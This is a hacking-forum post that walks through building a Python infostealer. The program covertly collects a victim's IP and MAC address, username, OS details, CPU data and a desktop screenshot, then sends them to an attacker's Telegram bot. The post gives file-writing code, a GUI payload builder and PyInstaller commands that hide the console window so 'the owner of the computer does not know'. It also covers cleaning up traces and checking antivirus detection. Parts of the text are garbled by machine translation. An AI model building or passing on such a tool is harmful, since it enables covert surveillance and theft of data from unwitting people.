Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   791

✅✅HOW TO HACK SOMEONE AND COLLECT SYSTEM INFO USING PYTHON✅ADVANCED✅

by VEGA - 08 June, 2021 - 01:48 PM
This post is by a banned member (VEGA) - Unhide
VEGA  
Godlike
1.072
Posts
118
Threads
4 Years of service
#1
Today I will show how to make a program that remotely using Python can receive some important data from its own or someone else's system - from IP to processor model and sends the collected data to Telegram. I guess you know Python before proceeding with this tutorial. I have explained myself good in here but some problems of your's can be fixed by yourself if you have Python programming knowledge.
The knowledge is vast, keep learning and keep sharing the resources you find which will help others.So,

  Give me a like or +rep if you liked the contribution.

Ban 2
 Leechers get out. 
Ban 2




 
To just see the IP address and other network settings, you will have to go to the command line and run the command . The situation is one of the most common for the Enikeys and distant shamans, but at least it can be quickly resolved. But if you have to collect a more serious set of information about the machine with which you will now work, you cannot do without automation. This is what we will do today.ipconfig /allCollecting system information remotely using PythonKeep in mind that this program can be used both to quickly collect information about your system and to steal identifying information from the victim's computer. We are law-abiding citizens, so even if these are not passwords, in order not to annoy law enforcement officers, all tests will be carried out on isolated virtual machines.InstrumentsFirst, let's figure out where we are going to write the code. You can code in a regular Windows Notepad, but we will use a special IDE for Python - PyCharm . Installation and configuration are as simple as two rubles: download the installer, run it - and click "Next" while there is such a button.

We also need Python. I will use version 3.9.0  - everything works with it for sure.TasksLet's first outline what we are planning to do. I plan to collect the following information:
  1. IP address.
  2. MAC address.
  3. Username.
  4. Operating system type.
  5. System speed.
  6. Time.
  7. Screenshot.
  8. Internet connection speed.
  9. Processor model.
And all this will go straight to your cart through a special bot.What for?Surely you have a question: why might you need a MAC address or processor model? These parameters are changing very, very rare, so it is perfectly suited to the fin-ger-received-Thing . Even if the user buys a faster Internet connection or changes the time zone, you can easily determine that they have already dealt with this computer. It is worth remembering that exactly the same methods are used by cunning advertisers to identify users, and so are the developers of trial versions of programs. This article will help you understand a little better what you can learn about your computer in a fully automatic mode, and how to apply this information is up to you.
 We create the basis of the programTo send data, I decided to use a Telegram bot. You can create it through BotFather , and then save the token of your creation. It cannot be published - anyone who receives this token can take control of your bot.

To connect to the Bot API "carts" you need only two lines:

Show ContentSpoiler:

To evaluate the performance, you can write a couple more lines. All further code will be placed between them. The bot connection described above is already entered here.

Show ContentSpoiler:
Data collection
Show ContentSpoiler:
Now let's take a quick look at what each module does. If you don't need some functionality, throw away the module import line and the code that uses that module. It's that simple!

So, these 4 modules are responsible for working with the OS and local resources:
  • getpass needed to determine information about the user;
  • os we use to interact with OS functions, such as calling external executable files;
  • psutil works with some low-level system functions;
  • platform will provide information about the OS.
These modules implement network interactions:
  • socket - to work with sockets and obtain IP addresses;
  • getnode gets the MAC address of the machine;
  • speedtest measures the characteristics of the Internet connection;
  • telebot will do all the routine of working with the Telegram bot.
Service gadgets that are difficult to categorize above:
  • datetime will allow you to determine the running time of the program;
  • pyautogui quickly and without pain works with GUI;
  • PIL.Image - to take a screenshot.
After that, we need to find out the main stable characteristics of the system: IP and MAC addresses, username and OS:

Show ContentSpoiler:
The lines of code are commented and self-explanatory.Internet connection speed
Show ContentSpoiler:
The speed is measured by the library of the Speedtest.net service and, accordingly, gives the result in megabits, not megabytes. To fix this, dividing the numerical result by 8 or multiplying by 0.125 is the same thing. We do the manipulation twice - for the incoming and outgoing speed.

It is important to understand that the measurement does not claim to be super accurate, because we cannot easily check how much of the channel is consumed by other programs or even other devices on the network. If you connect to a workstation remotely, your connection will consume something too. The correction for this has not been implemented in the program due to its too low accuracy and laboriousness.Time zone and time
Show ContentSpoiler:
If you are setting up someone else's server or a computer that is too remote, the time may differ. To all the other data we will add the readings of the clock - there is no superfluous information. If you didn't know, incorrectly set time and / or time zone can cause failures when connecting to sites using HTTPS, and this piece of code will make it easy to identify such problems.CPU frequency
Show ContentSpoiler:
It can help to identify the cause of the computer slowdown: if the processor is constantly thrashing to the full, but the programs hang, the processor is outdated, and if it is idle, the program is to blame. And just a general idea of the gland gives.Deeper fingerprintingThis article deliberately does not tell you how to get the hard disk ID or GUID of the installed Windows: we are not writing a manual for advertisers, but we are training to program. Nevertheless, you can easily add collection of such information using the console utility wmic. Its output can be parsed using a Python script, so you don't even have to write extra bindings. The screenshot shows an example of obtaining the BIOS serial number.Desktop screenshot
Show ContentSpoiler:
Here everything is also as simple as possible, and only the last line of code is responsible for taking a screenshot. We use the rest to correctly process the bot's incoming command.Write to fileNow that everything is ready, we can proceed with the final collection and sending of data. We create a ready-made file with our data: if the maximum collection of information was used, or rather the entire code above, then we use this record, otherwise remove the data you do not need:

try: # Binding for processing commands to the bot
os.chdir (r "/ temp / path")
except OSError:
@ bot.message_handler (commands = ['start'])
def start_message (message):
bot.send_message (message.chat.id, "[Error]: Location not found!")
bot.stop_polling ()
bot.polling ()
raise SystemExit
file = open ("info.txt", "w") # Open the file
file.write (f "[========================================== =====] \ n Operating System: {ost.system} \ n Processor: {ost.processor} \ n Username: {name} \ n IP adress: {ip} \ n MAC adress: {mac} \ n Timezone: {time.year} / {time.month} / {time.day} {time.hour}: {time.minute}: {time.second} \ n Work speed: {workspeed} \ n Download: {download } MB / s \ n Upload: {uploads} MB / s \ n Max Frequency: {cpu.max: .2f} Mhz \ n Min Frequency: {cpu.min: .2f} Mhz \ n Current Frequency: {cpu. current: .2f} Mhz \ n [======================================= =======] \ n ") # Write
file.close () # Close
Long but easy to read code. The first part provides command processing , the second - writing all data to a file. The result will go to  , but the path, of course, can be changed right in the code./startinfo.txt

The only thing left is to send the result to Telegram.Sending dataNow let's supplement the code above so that it also sends files.

Show ContentSpoiler:
First, the caption for the screenshot is indicated, then we read and send the files in the form of a photo and a document, then we clean up the traces and close the connection with the bot. Nothing complicated!

Naturally, if we do not need, for example, a screenshot, we can cut out the code for sending it, having received this option:

Show ContentSpoiler:
Putting together the programIn order not to drag Python and program dependencies with us to another computer, let's pack everything into one executable file. This is done using PyInstaller, which is installed with a simple command .pip install pyinstaller

We use the command line to go to the folder with our program and collect it with the command

pyinstaller -i icon_path --onefile our_file.py
The argument --onefilewill cause PyInstaller to package everything into a single file. Then -iyou need to specify the path to the executable file icon if you want to use it. If you don't need it, just remove this argument. The last is the path to the file with our code. If you do not want the console to appear at startup (for example, if the owner of the computer does not know that you are going to help him: D), change the extension of the input file with the code to or specify the option ..pyw-w

Remember to check for modules and their updates to avoid errors. Any temporary path can be specified, but I personally indicate it . Of course, if a Linux-based OS is found, then this code will have to be corrected.C:\Temp

You should also check how strong and how our file is detected. To keep you out of VirusTotal, I did it myself.
the complete project code on  https://github.com/NeoCreat0r/infocat . There is also a collector program, which I will discuss below.Writing a GUI collectorTo create a GUI collector, we will have to work with the Tkinter library , so first of all we import it and the necessary elements:

Show ContentSpoiler:
After that, you need to create a window, which will be the basis of the interface:

Show ContentSpoiler:
We only need to enter the API key to access the bot. This input is done with the code below:

text = Label (root, text = "Telegram bot token") # Text to designate the field
text.grid (padx = 100, pady = 0) # x / y position
API = Entry (root, width = 20) # Create data entry field
API.grid (padx = 100, pady = 0)
This will create two graphical objects - an input field and a caption.

This interface is missing a button to build the output file. Let's create it:

button = Button (root, text = "Create", command = clicked, height = 2, width = 10)
button.grid (padx = 100, pady = 0)
We create a function that should be in the file after importing the libraries. In it, we must create a file and write the payload code into it.

def clicked ():
system = open ("source.py", "w")
system.write ('' '
# Here we move the complete code of the program that we wrote earlier
'' ')
system.close ()
Don't mess with spaces! Make sure there are no extra spaces before pasting in the code, otherwise a hard-to-find error may occur.
But our function does not end there, as we need to let the user know if the file is ready. We do this using the MessageBox:

if API.get () or direct.get () == "":
mb.showwarning ("WARNING", "There are empty fields")
else:
mb.showinfo ("INFO", "The system.py file is ready!")
Now all that remains is to start rendering and processing messages with a line .root.mainloop()

Optionally, you can also assemble an assembly interface. To do this, we use the good old PyInstaller:

pyinstaller -F -w --onefile program.py
And you're done! Now you have a full-fledged program for collecting data about the system and its collector, which will speed up the process.

It is not very convenient to resort to PyInstaller every time to build a program. You can use the os module and call PyInstaller automatically.

Show ContentSpoiler:
If you need an icon, you can add a parameter to the build command , and add a parameter to build an "invisible" program  - just like with manual assembly!-i file.ico-w



HAVE A GREAT DAY
[Image: S0omyMF.gif]
This post is by a banned member (Osee1114) - Unhide

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)